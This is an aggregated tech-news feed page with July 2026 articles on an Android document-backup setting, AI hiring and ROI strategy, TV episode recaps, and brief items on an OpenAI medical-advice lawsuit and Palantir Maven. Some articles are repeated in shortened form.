Team IT Security - 📰 Alle Kategorien

Your instant Android backup upgrade

Sat, 25 Jul 2026 19:50:10 +0200

Here in this high-tech era of 2026, keeping important info backed up and synced should be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.

In many areas of our digital life, that mercifully does Just Work™ in exactly that way. Fire up an email in most modern mail services, and you can stop at any point and find your in-progress draft in that same app on any other device. The same applies to any file you’re finessing within Google Drive or other cloud storage services or document you’re dawdling over in Docs.

One area where seamless syncing somehow still doesn’t occur, though, is in the domain of downloaded documents on Android. If someone sends you a PDF or a Word file and you save it to your phone, that file exists in an archaic-seeming silo — only locally, on that one gadget. And that, of course, means (a) you can’t access it from any other device, and (b) if you misplace your phone or move into a new one at some point along the way, the file will be left behind in time and entirely unavailable.

Well, take a moment to join me in celebration: Amidst all the Gemini gobbledegook that no one asked for (and that often falls somewhere between “pointless” and “actively counterproductive”), Google’s giving us a major upgrade to Android’s backup capabilities right now. It’s a simple-seeming switch buried in your system settings, and it’s up to you to find and activate it.

Once you do, though, those once-orphaned documents on your Android device’s local storage will be perpetually synced and protected, automatically, without any ongoing thought or effort.

All you’ve gotta do is find and flip that one new switch.

[Don’t let yourself miss an ounce of Android Intelligence. Join my free weekly Android Intelligence newsletter and get one new thing to try in your inbox every Friday!]

The Android backup lowdown

So, for a quick bit of pertinent context on this: Android’s backup systems have actually come a really long way over the years.

‘Twas a time, y’see, when little to nothing about you would sync and carry over automatically from one Android device to another. Years ago — back in the ancient-seeming prehistoric era of the early 2010s — Android enthusiasts in the know would rely on community-created third-party apps for everything from remembering and resyncing downloaded apps to restoring data from within those apps and onward. And reconfiguring your system preferences would be a whole time-consuming song and dance every single time you reset a device or moved into a new one, as little to nothing would automatically carry over.

Most of that stuff is now effortless and automatic. And, thanks to apps like Google Messages, Calendar, Drive, and Docs, many other areas of important data are also synced on their own at the app level — outside of any system mechanisms.

Locally stored files, however, have remained an awkward omission. To this day, anything you download on any Android device exists only on that one device and isn’t synced or backed up anywhere. The only way that happens is — in a blast-from-the-past twist — if you go out of your way to find and set up a third-party app to handle the heavy lifting.

That brings us to today. Right now, as we speak, Google’s in the midst of sending out a quiet under-the-hood update that (brace yourself…) adds in the option to automatically sync and back up any documents on your device as a native part of Android’s backup setup.

See?

The easily overlooked new option for backing up documents on Android.

JR Raphael, Foundry

The option is on its way to all devices running 2018’s Android 9 release and higher. (If you’re still using a phone with an Android version older than that, you’re now a whopping eight years out of date, and you have much bigger problems.)

Once the added option is present and available for you, you’re literally lookin’ at 10 seconds to find and activate it.

Lemme show ya how.

Android’s document backup addition

I promise: This couldn’t be much simpler.

No matter what kind of Android device is in front of you, just head into your system settings and open the section called “Accounts and backup,” “Back up or copy data,” or something along those same lines. (The exact wording can vary based on who made your device and when it was released or last updated.)

Either tap the line labeled “Google Backup” or look for an option to “Back up data” via Google Drive. You should then either see a series of options for different areas of available backup right then and there — or, depending on your device, you might have to tap a line labeled “Other device data” (or something similar) to find the full list of possibilities.

However you get there, once you’re lookin’ at that list, you’ll see a newly added line for “Documents” if this latest under-the-hood update has reached you.

Android’s expanded list of backup options — now including documents alongside other forms of on-device data.

JR Raphael, Foundry

And from there, all that’s left is to tap it and enable the switch to include that in your automated backups from that moment forward.

If you aren’t seeing the option yet, don’t panic. Google always sends these under-the-hood updates out bit by bit over time, so the change probably just hasn’t reached your device quite yet. As long as you’re running Android 9 or higher, it’ll get there. Set yourself a reminder to check back once a week or so. Odds are, you’ll see it pretty soon.

Notably, all documents synced in this way are always encrypted for security, and they’re kept in your personal (or, depending on the nature of your account, perhaps company-connected) Google Drive storage. That does mean they’ll count against your overall Google storage total, so keep an eye on your Drive storage total to make sure you’re in solid shape and look to the Google One storage hub if you ever want some simple suggestions for freeing up space.

Speaking of other Google services: If you ever want to keep other types of locally stored non-document files from an Android device synced and available elsewhere, you can easily rely on Google Photos for syncing screenshots and other images — after enabling sync in general, be sure to look in the app’s “Collections” areas to find the “On this device” folder and then flip the toggle to “Backup all device folders” (or get more nuanced and open specific individual on-device folders if you want to sync some but not all of those areas) — and you can still turn to those aforementioned third-party apps for broader syncing of anything else imaginable.

But with documents now being handled automatically and natively, that’s one big worry now out of your hair. Just note that the onus will fall on you to find and flip the switch and actively opt in to the feature on each and every Android device you’re using.

Take 10 seconds to do that, though, and you’ll have one less void in your Android data arena. And you don’t need Gemini to tell you that that can only be a good thing.

Get practical Android knowledge in your inbox every Friday with my free Android Intelligence newsletter — one new thing to try each week, straight from me to you.

How to navigate the AI talent wars

Sat, 25 Jul 2026 18:55:50 +0200

Cloudflare recently beat Q1 2026 earnings. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”

Block did the same thing. Beat guidance, raised outlook, cut 4,000+ jobs. Both framed it as architecting for the AI era.

This is not a contradiction. This is the new math boards are running. And if you’re a CIO who hasn’t started running it yourself, you’re behind.

The benchmark has moved

AI-native companies have quietly reset what “efficient” means for a technology organization. Midjourney generates over $500M in revenue with roughly 160 employees, over $3M per head. Anthropic hit a $14B annualized run rate in early 2026 with fewer than 3,000 employees. Across the top AI-native startups, the average revenue per employee is $3.48M, nearly twelve times the traditional SaaS benchmark of $300K.

Boards aren’t comparing you to your 2019 self anymore. They’re comparing you to Anthropic.

This is the pressure Cloudflare and Block are responding to. They’re not cutting people because the business is struggling. They’re cutting because investors have internalized a new denominator. Headcount is no longer a proxy for capacity; it’s a liability on the efficiency ratio.

For CIOs, this creates a hiring problem that looks nothing like the cloud or mobile talent gaps of the past decade. Those gaps were about volume: hire 100 cloud engineers, absorb the cost, build the capability… This one is about density; you’re not looking for 100 people. You’re looking for 10 who can deliver what 100 couldn’t, and justify $1M or more in value per seat.

Finding bodies to fill seats has never been easier. Finding people who operate at that level of leverage is a different problem entirely.

‘Acqui-hires’ are a shortcut with a hidden cost

Companies have figured out that recruiting AI-native talent one by one is too slow and that it’s faster to buy a team. Google’s acquisition of the Windsurf founders, Meta bringing in the Scale AI team, Accenture’s string of AI-focused acquisitions: these are acqui-hires dressed up as M&A. The premium on experienced AI talent is high enough, and the urgency real enough, that organizations are skipping traditional hiring loops entirely and buying their way in.

I’ve been on the other side of this. My company, MadKudu, was acquired by HG Insights specifically to bring AI-native capability into an established enterprise business. HG needed change agents who had already figured out how to build and ship in this new era, not just people who’d read about it. That’s the thesis behind most of these deals.

But there’s a cost that doesn’t show up in the acquisition price.

AI-native teams are fast because they operate with a different set of defaults: full access to tools, minimal governance layers, the ability to experiment and ship without a six-week approval cycle. That operating model is not a perk; it’s the fundamental mechanism. It’s why a team of 10 can do what an enterprise team of 100 can’t.

When you acqui-hire that team and then slot them into your existing approval processes, you’ve bought the people and killed the engine. The change agents you paid for become change-frustrated. The attrition that follows is expensive and predictable.

The harder realization: acquiring an AI-native team means accepting how they work. That requires deliberately carving out space for them to operate differently, not just tolerating it but institutionalizing it. The acquisition is an organizational change program, not just a hiring event.

The CIO’s real problem

The governance stack most enterprise organizations run was designed for a headcount world. Every tool vetting cycle, every vendor review, every security approval was calibrated assuming you were managing a large team where consistency and control were the primary objectives.

That calculus breaks when your goal is talent density. The same approval processes that protect against data leaks are now the reason your best people can’t do their best work. When it takes six weeks to approve a tool that your competitor’s team is already shipping with, you’ve traded velocity for the perception of safety.

The practical fix is structured experimentation: clear guardrails, defined boundaries, but explicit permission to try tools before deciding whether to roll them out broadly. Gating everything prevents you from ever discovering what 10x productivity looks like.

The skills inventory question is also more nuanced than it sounds. Job titles won’t tell you where the leverage is. You need to map the actual tasks within each function and assess which can be automated or augmented with AI. That’s where you find the people who, with the right tools, become your $1M/employee talent, not because you hired differently, but because you enabled better.

This is also where the build-versus-buy question gets genuinely tricky. As AI reshapes how products are built and delivered, your internal operating model — how you work, how fast you ship, how you use data — is becoming core IP. Outsourcing delivery means outsourcing the part of the organization where your competitive advantage is now being built.

Closing the gap without slowing down

The AI talent wars are not primarily a recruiting problem. They’re a rethinking of what organizations are supposed to look like.

Boards have a new benchmark. Cloudflare, Block, Amazon, Meta and others have already started restructuring to meet it, publicly, painfully, even while beating their numbers. The question for CIOs isn’t whether this pressure arrives; it’s whether you’re ahead of it or behind it when it does.

The organizations that navigate this well won’t win by outbidding competitors for a handful of elite engineers. They’ll win by designing operating systems that amplify the leverage of the talent they do have, by enabling their best people rather than constraining them, and by treating AI fluency as a core organizational capability rather than a niche specialization.

Talent density is the new headcount model. The sooner your governance, your tooling and your board conversations reflect that, the better positioned you’ll be when the next efficiency report lands.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

‘Silo’ Season 3, Episode 4 Recap: Bernard’s Return Changes Everything

Fri, 24 Jul 2026 21:28:49 +0200

Silo Season 3, Episode 4 takes Juliette deeper into Silo 18 as she escapes another attempt on her life and uncovers a secret that changes everything she thought she knew. Warning: Major spoilers for Silo Season 3, Episode 4 follow. Episode title: “Whatever You Do, Don’t Go Home” Release date: July 24, 2026 Genre: Science fiction, drama and mystery Season length: 10 episodes Season 3 finale: September 4, 2026 Juliette escapes from Medical The episode begins with Camille still determined to kill Juliette under the Algorithm’s instructions. Sims offers to handle the situation, although his true intentions remain difficult to understand. Amy, the nurse caring for Juliette, turns against Camille’s plan. She sedates Emerson instead and helps Juliette escape from Medical. Amy also reveals that she had secretly replaced Juliette’s memory-suppressing medication before Juliette stopped taking the pills herself. Amy allows the Raiders to capture her so Juliette can get away. Shirley later helps Juliette escape from Sims, believing that he plans to hurt her. However, his actions suggest that he may have been quietly helping Juliette all along. Juliette discovers Bernard alive Juliette asks Shirley to take her toward the sealed Digger Void. They discover that the entrance is not completely closed, allowing Juliette to continue down into a hidden section beneath the silo. At the bottom, Juliette finds a small living area containing Bernard Holland. He is alive, heavily scarred and almost unrecognizable after the fire that supposedly killed him. Sims previously claimed that Bernard had died and that his body had been destroyed. Bernard’s survival now raises major questions about Sims, Camille and the power struggle inside Silo 18. It also gives Juliette someone who understands the secrets behind the Algorithm and the larger silo system. Billings investigates Orla’s murder Elsewhere, Billings continues investigating Orla Kent’s death. He learns that rat poison did not kill her. Someone struck her with a piece of metal before hiding her body inside a closed tunnel. Carla also disappears before she can meet Billings, while Mike and Glenda become possible suspects. The growing number of missing people suggests that someone is removing anyone connected to the silo’s hidden areas. Daniel and Helen follow the conspiracy In the earlier timeline, Daniel and Helen hide after discovering Steve’s damaged base and disappearance. Their only lead comes from a strange chess username that may contain a coded message. Daniel contacts a Pentagon connection named Sam, while a government fixer pressures Helen to stop investigating. Sam eventually discovers something important, sending Daniel and Helen back into the conspiracy just before the episode ends. Episode 4 leaves Juliette standing before one of the season’s biggest surprises. Bernard’s return can expose what Sims has been planning and reveal why Juliette’s memories were removed. What do you think Bernard will tell Juliette, and can she trust him after everything he did in previous seasons? Let us know in the comments.

Cape Fear Season 1 Episode 9 Ending Explained: Every Twist Before the Finale

Fri, 24 Jul 2026 20:48:40 +0200

The Cape Fear finale looks set to bring the Bowdens and the Cady family together for one final, violent confrontation. Episode 9 revealed several important family secrets while leaving Zack missing and Anna trapped near Cape Fear. Spoiler warning: This article contains major spoilers for Cape Fear Episode 9, “The Scar.” Finale release date: July 31, 2026 Episode title: “The Executioners” Season length: 10 episodes Genre: Psychological thriller and drama Streaming platform: Apple TV Main cast: Amy Adams, Javier Bardem, Patrick Wilson, Lily Collias, Joe Anders, CCH Pounder, Malia Pyles and Juliette Lewis Where the Story Is Heading Anna travelled to Cape Fear hoping to prove that Max Cady did not murder his wife, Melissa. She eventually discovered that Crystal killed Melissa out of jealousy and allowed Max to spend 17 years in prison for the crime. Anna also learned that Luke, the scarred young man living with Crystal, is the child Crystal had with Max. After Crystal stabbed Anna, she escaped by jumping into the Cape Fear River. Meanwhile, Zack disappeared from the psychiatric facility, suggesting that Max has taken him as part of his final plan. Max Cady Max will probably take Zack to Cape Fear and use him to force Anna and Tom into a final confrontation. Although Max was wrongly imprisoned for Melissa’s murder, the finale is unlikely to excuse the violence and manipulation he has committed since his release. Our prediction is that Max will die near the river, following the basic direction of earlier Cape Fear stories. Anna may kill him while protecting Zack or Natalie, completing the reversal from frightened victim to active survivor. Anna Bowden Anna now possesses the truth about Crystal, Luke and Melissa’s death. She will likely survive her injuries, return to Savannah and lead the effort to rescue Zack. She may also expose Crystal as the real murderer, clearing Max’s name after his death. However, Anna could still face legal consequences for planting drugs in Max’s home and hiding parts of her relationship with him. Tom Bowden Tom remains in custody for Ray’s death, but Max’s involvement should eventually become clear. Tom will probably escape or receive temporary release before joining Anna at Cape Fear. His marriage may survive the immediate crisis, although Anna’s history with Max and the question of Natalie’s biological father will leave lasting damage. Natalie Bowden Natalie has finally recognised how Max and Nevaeh manipulated her. She took Nevaeh’s hidden phone before Noa secured her release, giving the family valuable evidence about Max’s plans. Natalie will likely help Noa trace Max and rescue Zack. She may also reject Max completely, regardless of whether his claim about being her biological father proves true. Zack Bowden Zack is in the greatest danger heading into the finale. Max has spent the season manipulating his mental health, religious beliefs and anger toward Tom. Zack may initially follow Max willingly before realising that he has been used. We expect him to survive, although the finale could leave him responsible for seriously injuring or killing someone during the rescue. Nevaeh Valentine Nevaeh failed to kill Natalie and lost the secret phone she used to communicate with Max. She will probably turn against Max after recognising that he views her as another disposable part of his revenge plan. She may confess, help investigators locate Zack or die while attempting to regain Max’s approval. Noa Toussaint Noa has become the Bowdens’ most reliable ally. She will likely use the phone Natalie stole to trace Max’s movements and lead the police toward Cape Fear. Her arrival could stop Anna from killing Max in cold blood, although Max may force Anna to act before help reaches them. Crystal and Luke Crystal will probably follow Anna after escaping the boat, bringing Luke into the final conflict. Max may kill Crystal after learning that she murdered Melissa and allowed him to remain imprisoned. Luke could attack Max or Crystal after discovering the full truth about his parents. He may survive as the final reminder of the abuse and secrecy running through the Cady family. The Cape Fear finale has several mysteries left to answer, including Zack’s location, Natalie’s paternity and Max’s ultimate fate. What do you think will happen when the Bowdens and Cadys meet for the final time? Let us know in the comments.

Florida Pastor Sues OpenAI, Says ChatGPT's Medical Advice Nearly Killed Him

Fri, 24 Jul 2026 16:43:56 +0200

Florida pastor Scott Winters sued OpenAI, alleging ChatGPT medical advice delayed emergency care before a near-fatal pulmonary embolism.

Tom Holland Confirms Fred Astaire Biopic Is His Next Film

Thu, 23 Jul 2026 15:16:57 +0200

Tom Holland has confirmed that his long-awaited Fred Astaire biopic will be his next film, with the actor already preparing for its demanding dance sequences. Tom Holland plans to perform every dance himself Holland wants to recreate Astaire’s famous performance style as closely as possible. He plans to complete all the dancing himself without using body doubles. The actor also hopes the production can film complete dance routines in a single continuous shot. This approach would keep Holland’s full body visible and allow audiences to watch each movement without frequent cuts. Holland admitted that the preparation brings both excitement and “absolute dread.” He has already returned to the dance studio and plans to continue intensive training once his current promotional commitments end. The role also gives Holland an opportunity to use his earlier dance training. Before becoming widely known as Spider-Man, he performed in the stage production of Billy Elliot the Musical in London. Paul King will direct the Fred Astaire biopic Paul King, known for directing the Paddington films and Wonka, remains attached to direct the untitled project. The film has been in development since Holland first announced his involvement in 2021. Earlier reports indicated that the story would explore Astaire’s relationship with his sister and early dancing partner, Adele Astaire. However, official plot details and additional casting information have not been announced. Production listings currently point to filming beginning in January 2027, although Sony has not confirmed an official release date. Holland’s decision to avoid doubles will make the Fred Astaire biopic one of his most physically demanding projects. His commitment to long, uninterrupted dance scenes could also help the film capture the style that made Astaire one of Hollywood’s most celebrated performers.

How to navigate the AI talent wars

Thu, 23 Jul 2026 15:06:19 +0200

Block did the same thing. Beat guidance, raised outlook, cut 4,000+ jobs. Both framed it as architecting for the AI era.

This is not a contradiction. This is the new math boards are running. And if you’re a CIO who hasn’t started running it yourself, you’re behind.

The benchmark has moved

Boards aren’t comparing you to your 2019 self anymore. They’re comparing you to Anthropic.

Finding bodies to fill seats has never been easier. Finding people who operate at that level of leverage is a different problem entirely.

‘Acqui-hires’ are a shortcut with a hidden cost

But there’s a cost that doesn’t show up in the acquisition price.

The CIO’s real problem

Closing the gap without slowing down

The AI talent wars are not primarily a recruiting problem. They’re a rethinking of what organizations are supposed to look like.

Talent density is the new headcount model. The sooner your governance, your tooling and your board conversations reflect that, the better positioned you’ll be when the next efficiency report lands.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Determining the ROI of AI requires data that most companies lack

Thu, 23 Jul 2026 11:07:22 +0200

Leadership wants to scale AI. Budgets are tripling. Adoption is up.

Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?

Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data they have was never designed to produce that answer.

Applying lessons learned from managing cloud spend won’t be a fix for the AI and ROI quandary. True, cloud taught a generation of CFOs that billing without business context is noise. So to get cloud ROI, they stitched two data sources together: cost data plus business data. AWS reveals which account, which region, which tag, which resource. Merge in customer and product mappings on top and the ROI of the cloud spend comes into focus.

But AI is harder. It requires three data sources: cost, business, and telemetry—the automatic collection of data from disparate sources that helps to clarify the whole picture of what happened and why. An executive or engineering lead can have AI invoices and customer revenue. But they have no way to connect them to business value. The token count on the OpenAI invoice does not specify which customer triggered which call, which feature it served, or whether the prompt produced a business outcome. That data does not exist in the provider’s billing.

AI providers won’t fix this problem

The situation is not likely to change anytime soon because AI providers are not in the business of attributing an enterprise’s costs to that enterprise’s customers. Instead, AI providers are in the business of selling tokens. The granularity they expose is the granularity their billing systems require, not the granularity a CFO requires.

Not convinced? Compare what AWS gives you to what an AI provider gives you.

AWS billing exposes resource IDs, account hierarchies, region, SKU, tag metadata, usage by the minute. Every dollar can be attributed to a workload, a team, a customer segment if it was tagged correctly. The data is rich enough that mature FinOps teams built unit economics on top of it years ago.

An AI provider invoice gives you tokens consumed by model, with optional grouping by API key. That is the resolution. No request-level attribution. No customer ID. No feature mapping. No prompt outcome. No retry identification. Multi-step agent workflows collapse into a token count. Imagine a large bank receives a multi-million dollar AI invoice each month. But it has no visibility into what parts of the business were responsible for what parts of the cost so cannot allocate them.

If an enterprise wants to know what AI cost drove which customer or feature, it has to capture that data itself, inside an application, before the call leaves it.

Three required sources

Building AI ROI measurement requires three data sources, stitched together in a single model.

Cost data, normalized across providers. Every AI provider delivers cost differently. OpenAI invoices in one taxonomy, Anthropic in another, fine-tuning vendors and inference platforms each in their own. Cloud GPU costs sit in AWS or Azure billing. Vector database costs land in Pinecone or Snowflake invoices. None interoperate by default. Normalization is necessary but not sufficient. It will put all your AI costs in one schema. It does not tell you what they produced.
Application-layer telemetry. This is the source most organizations are missing, and the one that makes AI ROI structurally different from cloud ROI. It requires instrumenting AI calls inside your application across six categories: request-level tracing tied to a customer or session ID; feature attribution tied to the product surface that triggered the call; agent-step capture for multi-step workflows; retry and fallback identification so recovery costs don’t get attributed to primary calls; model selection logging that records which model was chosen and why; and outcome capture that ties each call to whether it produced business value. None of this data exists in the provider’s billing. All of it has to be captured at the moment the call is made and stored in a system that can be stitched to the cost data.
Business data. Revenue, customer segments, product hierarchies, and feature usage. The same business data already feeding your CRM and analytics stack, mapped to the customers and features the telemetry layer attributes calls to.

Stitched together, the three sources produce the unit economics every AI investment decision now requires: cost per customer interaction, margin per feature, profitability per agent workflow, ROI per model choice. None of these can be calculated from billing data alone. None can be calculated from telemetry alone. They require all three sources, modeled together in a way that maps cost to outcome.

Why agentic AI makes this urgent

Single-call inference is the easy case. One request, one cost, one customer, one outcome.

Agentic workflows are different. An agent decomposes a task into multiple steps. Each step calls a model. Some steps fall back to a different model when the first fails. Some steps retry on a poor result. Some steps invoke external tools that themselves cost money. A single user request can produce dozens of inference calls across multiple providers, with the cost compounding in ways the provider invoice cannot disaggregate.

If telemetry does not capture agent-step granularity, no one will know which steps are profitable. Aggregate costs will show up three weeks later in the invoice. By then, the workflow has been running at scale, customers are onboarded, and unprofitable paths have been retried thousands of times.

When agents make the calls, the volume of cost-generating events without business context attached grows by an order of magnitude. The window for instrumenting this before it becomes unmanageable is closing.

What changes when the three sources come together

Once the three sources are stitched together, the AI investment conversation changes.

Five different ways to build the same AI capability stop looking equivalent. They converge on adoption metrics and diverge by 10x on cost. The team picks the approach that delivers a similar business outcome at one-fifth the cost, because the team can finally see the difference. Product teams design features with margin awareness from the architecture phase, not from the post-launch budget review. Engineering teams choose model architectures with cost-per-outcome data alongside latency and quality. Leadership evaluates AI initiatives the way they evaluate any other capital allocation: on unit economics, not on the engagement chart. Aggregated invoices track the cost per customer interaction. Engagement metrics reveal margin per feature. Gut-instinct model selection is checked against real cost-per-outcome model selection results.

Within seconds, everyone can see which AI features are profitable, which should scale, and which should be killed. This is the insight everyone is looking for and companies that achieve it will optimize the benefits of AI.

The build trap

AI costs are compounding now. The board is not waiting 18 months for an internal project to reach production.

The temptation to build it anyway has never been sharper. AI coding tools have changed what a small engineering team can ship in a quarter. The instrumentation layer looks tractable. The cost normalization looks like a weekend project. The semantic model feels like something a senior engineer could draft over a sprint.

It is a trap. Three reasons.

Volume is the first. A production AI footprint generates millions of telemetry events per hour, and that volume scales with agentic adoption. Real-time ingestion, correlation, and attribution at that scale is not the same problem as vibe coding a prototype in an afternoon. It is a permanent operational system that has to be right every minute of every day.

The vendor landscape is the second. Cost data arrives in delayed billing windows from providers with non-interoperable schemas. Schemas change without notice. New AI providers enter the landscape monthly, each with its own taxonomy and metering. The system is not built once. It is maintained against a moving target that moves faster than most internal release cycles.

The third is what the first two add up to: this is business-critical infrastructure. The CFO and the board are going to make capital allocation decisions on the data this system produces. When schema drift goes unnoticed for two weeks, when an agent telemetry stream stops correlating to a vendor that quietly changed its billing API, the cost of being wrong is not a sprint of cleanup. It is a quarter of misallocated capital.

The build-vs.-buy question for engineering leaders has changed. It’s not “can we build this?” The honest answer is yes. The real question is whether the marginal hour of your strongest engineers is best spent stitching cost data to telemetry to business outcomes, or building the AI products that produce the revenue the cost data is measuring.

The capability is reproducible in weeks. The choice is whether to spend the next 18 months building it, or the next 18 months acting on it.

—

New Tech Forum provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all inquiries to doug_dineley@foundryco.com.

OpenAI sued over ChatGPT health advice that almost killed a pastor

Wed, 22 Jul 2026 20:48:18 +0200

ChatGPT allegedly offered "extremely dangerous medical recommendations" regarding a pulmonary embolism.

Your instant Android backup upgrade

Wed, 22 Jul 2026 12:02:52 +0200

Once you do, though, those once-orphaned documents on your Android device’s local storage will be perpetually synced and protected, automatically, without any ongoing thought or effort.

All you’ve gotta do is find and flip that one new switch.

[Don’t let yourself miss an ounce of Android Intelligence. Join my free weekly Android Intelligence newsletter and get one new thing to try in your inbox every Friday!]

The Android backup lowdown

So, for a quick bit of pertinent context on this: Android’s backup systems have actually come a really long way over the years.

See?

The easily overlooked new option for backing up documents on Android.

JR Raphael, Foundry

Once the added option is present and available for you, you’re literally lookin’ at 10 seconds to find and activate it.

Lemme show ya how.

Android’s document backup addition

I promise: This couldn’t be much simpler.

However you get there, once you’re lookin’ at that list, you’ll see a newly added line for “Documents” if this latest under-the-hood update has reached you.

Android’s expanded list of backup options — now including documents alongside other forms of on-device data.

JR Raphael, Foundry

And from there, all that’s left is to tap it and enable the switch to include that in your automated backups from that moment forward.

Take 10 seconds to do that, though, and you’ll have one less void in your Android data arena. And you don’t need Gemini to tell you that that can only be a good thing.

Get practical Android knowledge in your inbox every Friday with my free Android Intelligence newsletter — one new thing to try each week, straight from me to you.

Immorality? Palantir Maven Fails the Gödel Test

Tue, 21 Jul 2026 23:04:36 +0200

On the first day of the war on Iran, February 28, Palantir’s Maven Smart System steered the U.S. military to strike at more than 1,000 targets. One was a primary school in Minab, where more than 160 people were killed, most of them children. Al Jazeera examined that strike this week under the question of … Continue reading →

Immorality? Palantir Maven Fails the Gödel Test

Tue, 21 Jul 2026 23:04:36 +0200

Netanyahu Ad Uses a Questionable Tactic Against Bereaved Rival

Tue, 21 Jul 2026 18:48:53 +0200

A.I.-generated images showing Gadi Eisenkot, the Israeli leader’s top challenger in upcoming elections, played on anti-Arab sentiments and used images seen as disrespectful to his son, who was killed in the recent Gaza war.

The AI allocation trap: Record spend, vanishing returns

Tue, 21 Jul 2026 15:18:28 +0200

In a single month, one enterprise reportedly spent half a billion dollars on AI. A consultant told Axios that the client had handed its workforce AI licenses, set no usage limits and let the meter run until finance noticed. The figure is spectacular, and it is the wrong thing to fear. That half-billion-dollar accident is only the visible part of a quieter, far larger failure. Worldwide AI spending is forecast to reach $2.52 trillion in 2026, more than any technology category in a generation, and by the most cited measure, roughly 95 percent of it returns nothing. Boards read that as proof that the technology does not work. The evidence points somewhere less comfortable, and it is not a technology problem at all. Most boards cannot see it because they are reading the wrong number: They track failure when the number that matters is allocation. The discipline that separates the winners is not technical. It is how they allocate capital across time, and how willing they are to stop. The hardest discipline in the AI era is not adopting faster. It is allocating honestly and refusing to judge a three-year bet on a six-month cycle.

The number everyone quotes, and no one acts on

The headline statistic is now familiar. MIT’s Project NANDA, in its 2025 study The GenAI Divide, found that about 95 percent of enterprise generative AI pilots produced no measurable impact on the P&L, while roughly 5 percent captured nearly all the value. S&P Global Market Intelligence found that the share of companies abandoning most of their AI initiatives jumped from 17 percent to 42 percent in a single year, with the average organization scrapping 46 percent of its proofs-of-concept before production. Gartner expects more than 40 percent of agentic AI projects to be canceled by the end of 2027, citing escalating costs, unclear business value and inadequate risk controls. And the pattern predates generative AI: RAND found that more than 80 percent of AI projects fail, roughly twice the rate of comparable work that does not involve AI.

Read as a technology story, these numbers say AI does not work. Read correctly, they say something more useful. MIT’s own authors located the cause not in model quality but in a learning and integration gap. The winners were not running better models. They picked one problem, executed and worked well together. Purchased solutions reached production about 67 percent of the time, while internal builds succeeded roughly a third as often. Gartner’s own spending forecast notes the same pivot, with CIOs scaling back ambitious internal builds in favor of commercial solutions that promise more predictable value. None of that is a verdict on the technology. It is a verdict on allocation: What gets funded, for how long and against which yardstick. The popular prescription, heard in every boardroom this year, is to measure harder and prove value sooner. That advice quietly repeats the mistake, because forcing a three-year bet to prove itself sooner is precisely how you kill it. The fix is not more measurement. It is measuring each bet against the right clock and subtracting the ones that miss.

The six-month cycle problem

Return to that 95 percent, because the way it is measured is the whole argument. Much of the reported failure is judged on a short clock, with a pilot counted as a failure if it has not shown a measurable financial return within roughly six months. The single most quoted number in enterprise AI is therefore a six-month yardstick applied to every initiative, including the bets designed to pay back in three years. The headline failure rate is not only a measure of AI. It is a measure of impatience.

The most expensive mistake in enterprise AI is a timing error. Enterprises have been spending heavily on AI for more than two years, and 2026 is the year boards are demanding returns. The multi-year bets funded during the 2024 and 2025 scale-up are only now far enough along to be judged. When a board reviews an initiative, it applies the yardstick it knows, which is quarterly return. That yardstick is correct for an efficiency project and ruinous for a capability bet. A workflow automation that should pay back in two quarters and a foundational data and agent capability that pays back in three years are not the same instrument, yet they are reviewed in the same meeting against the same metric.

This is the heart of the divide. The 5 percent did not simply pick better projects. They judged each project against its own horizon. McKinsey’s enduring Three Horizons model made this discipline standard in corporate strategy a generation ago: near-term, emerging and long-term bets are funded and measured differently. AI erased that discipline because the hype compressed every timeline into the current quarter. The result is two failure modes that appear opposite yet share a common root. Organizations kill three-year bets at month six because they miss a metric the bet was never designed to hit. And they keep funding six-month theater for years because it is visible, safe and never asked to prove a return. Both are allocation failures. Neither is a technology failure.

Subtraction is a strategy

There is a second discipline, the 5 percent share, and it is the one boards find hardest. They subtract. Every credible study of the failure rate describes the same chaotic pattern underneath it: Initiatives are abandoned late, without criteria, after the money is spent and the credibility is gone. Disciplined organizations do the opposite. They decide the conditions for stopping before they start, and they stop on schedule. Subtraction is not the absence of strategy. It is the strategy. Capital removed from a failing bet is capital available for a surviving one, and the survivors are where the entire return lives.

This reframes the 42 percent abandonment figure. Abandonment is not the problem. Undisciplined abandonment is. An organization that liquidates a position the moment it breaches a pre-agreed kill line is practicing portfolio hygiene. An organization that lets a doomed pilot run until someone loses patience is paying full price for a lesson it could have bought at a discount. The 5 percent who won were not smarter. They were patient in the right places and ruthless in the wrong ones.

The HALT framework: Horizon, Allocation, Liquidation, Tracking

Treating AI as a portfolio rather than a pile of pilots requires four disciplines, and the organizations that execute well put all four in place before the next funding cycle, not after the next failure. The name is deliberate. The discipline most enterprises lack is the willingness to halt the wrong bets in time to fund the right ones.

Component 1: Horizon. Classify every AI initiative by its true payoff horizon before it is funded. Horizon 1 covers efficiency plays that should return value within two quarters. Horizon 2 covers capability bets, data foundations, agent platforms and integration work that pays back in roughly 6 to 18 months. Horizon 3 covers transformation bets that take eighteen months to three years or longer. Each horizon carries its own success metric, set at funding time. A Horizon 1 yardstick never judges a Horizon 3 bet. This single rule prevents the most common and most expensive error in the portfolio.

Component 2: Allocation. Decide the split across horizons deliberately, as a board-level capital decision, not as the accidental sum of whatever pilots happened to win approval. A practical reference point, borrowed from decades of innovation-portfolio practice, is roughly 70% to near-term value, 20% to capability, and 10% to transformation. The exact ratio is yours; the discipline is to choose and defend it. The failure mode is an unmanaged portfolio: 90 percent scattered across disconnected Horizon 1 experiments, with nothing compounding into the Horizon 2 capability that the buy-and-integrate winners actually built.

Component 3: Liquidation. Attach a kill line to every initiative at the moment it is funded: A named milestone, a date and an owner empowered to stop it. If a bet misses its horizon-appropriate milestone, it is liquidated, and capital is reallocated on schedule without debate over sunk costs. The absence of a pre-agreed kill line is not patience. It is an unpriced liability that the board has almost certainly not been shown.

Component 4: Tracking. Report the portfolio to the board on a fixed cadence using a single instrument: The AI Portfolio Scorecard. Not a deck of project updates, but a single view of allocation by horizon, burn against milestone, liquidation decisions taken and capital reallocated to survivors. The cadence is the control. A portfolio reviewed once a year is a portfolio managed by hope.

